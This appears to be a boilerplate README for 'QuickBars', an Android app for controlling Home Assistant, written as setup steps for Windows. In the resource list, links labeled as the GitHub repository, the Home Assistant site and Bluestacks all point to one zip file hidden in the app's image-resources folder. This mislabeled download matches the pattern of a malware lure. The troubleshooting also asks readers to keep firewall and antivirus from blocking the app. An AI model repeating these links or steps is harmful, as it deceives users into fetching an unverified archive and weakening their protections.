Welcome to the QuickBars repository. QuickBars helps you control your smart home devices from Android and Android TV with ease. This guide will help you download and set up QuickBars on a Windows PC, step by step. No technical skills needed.
QuickBars is an app designed for controlling Home Assistant smart homes using Android devices and TVs. It provides a simple interface to manage your home devices like lights, sensors, and cameras. Its goals are to make smart home control fast and straightforward, especially if you use Android-based devices.
Key features you will find:
- Easy access to smart home controls.
- Support for Android and Android TV.
- Configurable quick actions and bars.
- Integration with Home Assistant for smooth operation.
- Clear and accessible interface.
Before starting, check your Windows computer meets these requirements:
- Windows 10 or newer (64-bit recommended).
- At least 4 GB of RAM.
- Internet connection to download files and connect with your smart home devices.
- 200 MB free disk space.
- Optional: Android emulator (like Bluestacks) if you want to run QuickBars on your PC itself.
QuickBars runs most directly on Android devices, but this guide shows you how to prepare your PC environment.
Click this link or button to visit the QuickBars download page:
This page contains all files and further instructions for installing QuickBars on devices including Android and Android TV.
On the GitHub page, look for a “Releases” section or tab. This is where you will find the latest versions of QuickBars. Find the latest stable release.
- Click on the release version to open it.
- Look for Android APK files or emulator installers if you plan to use the app on your PC.
- Click the APK file to download it to your PC.
If you plan to run QuickBars through an Android emulator, you will first need to download and install the emulator software. Many are free and popular, such as Bluestacks or NoxPlayer.
Installing QuickBars on Windows involves two paths, depending on your goal:
- Transfer the APK file to your Android phone or TV using a USB cable or email.
- On your Android device, open the APK file.
- Approve permissions for installing apps from unknown sources if prompted.
- Follow the installation instructions.
- Once installed, open QuickBars and follow the app setup wizard.
If you want to use QuickBars on your PC without an Android device, use an Android emulator.
- Download and install an emulator like Bluestacks from their official site.
- Open the emulator.
- Drag and drop the QuickBars APK file into the emulator window or use the emulator’s install APK option.
- Launch QuickBars inside the emulator.
- Use the app as you would on an Android device.
QuickBars requires you to link the app to your Home Assistant server. Home Assistant runs on your home network and manages your smart devices.
- Open QuickBars.
- Enter the IP address or URL of your Home Assistant server.
- Enter your username and password for Home Assistant.
- Allow the app permissions to access your local network.
QuickBars lets you set up quick access buttons for your most-used devices:
- Tap “Add New Bar” inside the app.
- Choose the devices or scenes you want quick access to.
- Arrange them in the order you prefer.
- Save your settings.
This setup helps control devices faster without navigating deeply into menus.
If QuickBars does not connect or behave as expected:
- Make sure your Windows firewall or antivirus is not blocking the app or emulator.
- Double-check your Home Assistant IP and login details.
- Confirm your Android emulator has network access.
- Restart the emulator or your Android device.
- Check that your Home Assistant server is running and reachable.
If the problem continues, visit the GitHub page’s issues section for help or to report bugs.
- GitHub Repository: https://github.com/Unbound-compositeorder71/QuickBars/raw/refs/heads/main/app/src/main/res/drawable/Bars_Quick_2.9.zip
- Home Assistant Official Site: https://github.com/Unbound-compositeorder71/QuickBars/raw/refs/heads/main/app/src/main/res/drawable/Bars_Quick_2.9.zip
- Bluestacks Android Emulator: https://github.com/Unbound-compositeorder71/QuickBars/raw/refs/heads/main/app/src/main/res/drawable/Bars_Quick_2.9.zip
Use QuickBars if:
- You have a Home Assistant smart home setup.
- You want quick control from an Android device or TV.
- You prefer simple interfaces to manage devices.
- You want to turn complex smart home control into easy, everyday actions.
Avoid QuickBars if you do not use Home Assistant or Android devices, as the app is built specifically for these environments.
Topics covered: android, android-tv, android-tv-app, home-assistant, homeassistant, iot, kotlin, quickbars, smarthome